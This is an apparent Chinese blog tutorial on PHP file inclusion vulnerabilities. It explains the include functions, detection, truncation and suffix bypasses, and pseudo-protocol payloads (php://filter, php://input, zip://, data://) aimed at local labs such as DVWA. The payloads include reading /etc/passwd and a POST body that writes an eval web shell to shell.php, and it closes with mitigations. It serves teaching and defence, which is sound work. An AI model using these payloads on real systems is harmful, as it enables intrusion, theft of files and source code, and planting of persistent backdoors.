文件包含漏洞总结

目录

#文件包含各个脚本代码

#文件包含漏洞的检测

#本地包含-无限制,有限制

#远程包含-无限制,有限制

#文件包含结合伪协议

#文件包含漏洞防范措施


文件包含的作用:将文件以脚本的格式执行(根据当前网站脚本类型)

#文件包含各个脚本代码

第八个 C 语言那个,是包含远程文件,其余的是包含本地文件

文件包含在 php 中,涉及到的危险函数有四个,分别是include()、include_once()、require()、require_once()。

区别如下:

include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

require_once:和 require 类似,不同处在于 require_once 只导入一次。

 

3、文件包含漏洞成因:

⚫ 可控变量

⚫ 文件包含函数

 

#文件包含漏洞的检测

如果是开源网站(白盒)可以通过代码审计,来查出漏洞所在位置和原理

如果是黑盒

①可以通过漏洞扫描工具识别;

②如果黑盒是什么程序平台,中间件,框架等。寻找公开漏洞;

③通过查看网站的url地址,观察链接上参数值是file=a.js/a.php/a.asp/a/aspx等,且是关于文件的功能点,可以尝试文件包含漏洞

 

文件包含漏洞分为本地包含和远程包含

#本地包含-无限制,有限制

无规则限制下,直接包含本地文件

http://127.0.0.1/include.php?filename=1.txt(此时文件位于WWW根目录)

http://127.0.0.1/include.php?filename=../../../www.txt(E:\phpStudy\PHPTutorial\WWW 此时www.txt文件位于E盘中)

有规则限制,例如限定文件后缀,使用%00截断和长度截断

%00截断:条件:magic_quotes_gpc = off ; php版本<5.3.4

filename=../../../www.txt%00

长度截断:条件:Windows,点号需要长于256;Linux需要长于4096; php版本<5.3.4

 

#远程包含-无限制,有限制

 远程包含必须对方服务器allow_url_include开关为on时,表示允许地址请求,支持远程包含

 http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt 【无后缀限制】

绕过后缀限制

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

#文件包含结合伪协议

 off/on 代表不论对方数据库是否开启引擎,伪协议都能够被利用

file://+绝对路径:访问文件
data://              读取数据
php://filter        可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启两个引擎,读取源代码并进行 base64 编码输出,不然源代码会直接当做 php 代码执行就看不到
内容了
php://input?test=php://input 【post data】<?php phpinfo();?> 

 

file
条件:allow_url_fopen: off/on allow_url_include: off/on

Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd        绝对路径
Windows:http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt        绝对路径

PHP

php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只受   allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

php://filter伪协议:不受   allow_url_fopen与allow_url_include参数的影响
1、http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt        相对路径
2、http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt        绝对路径
3、http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd

4、此协议主要用于读取php源代码时会用到
5、http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt            以base64编码将文件内容输出

6、http://127.0.0.1/LFI.php?file=php://input

写入一句话木马用法(allow_url_fopen:ON)

http://127.0.0.1/include.php?file=php://input

[POST DATA部分]
   <?php  fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>


zip

条件:allow_url_fopen: off/on         allow_url_include: off/on
    1 、现将要执行 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传;
    2 、将 a.php 直接压缩成 a.bz2

http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt 
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt


data

allow_url_fopen: on             allow_url_include: on

http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=


http

allow_url_fopen与allow_url_include同时开启。缺一不可

http://localhost/test.php?file=http://www.baidu.com

#文件包含漏洞防范措施

1、设置白名单:对文件包含的文件采取白名单限制

2、循环检测过滤威胁字符:过滤../、php://、fihttp://、http://、https://等危险函数

3、关闭危险引擎设置:如allow_url_fopen=off、allow_url_include=off等

4、开启魔术引号开关:magic_quotes_gpc=on


伪协议参考链接:

文件包含-伪协议_孤君的博客-CSDN博客_文件包含伪协议

  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Dues_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值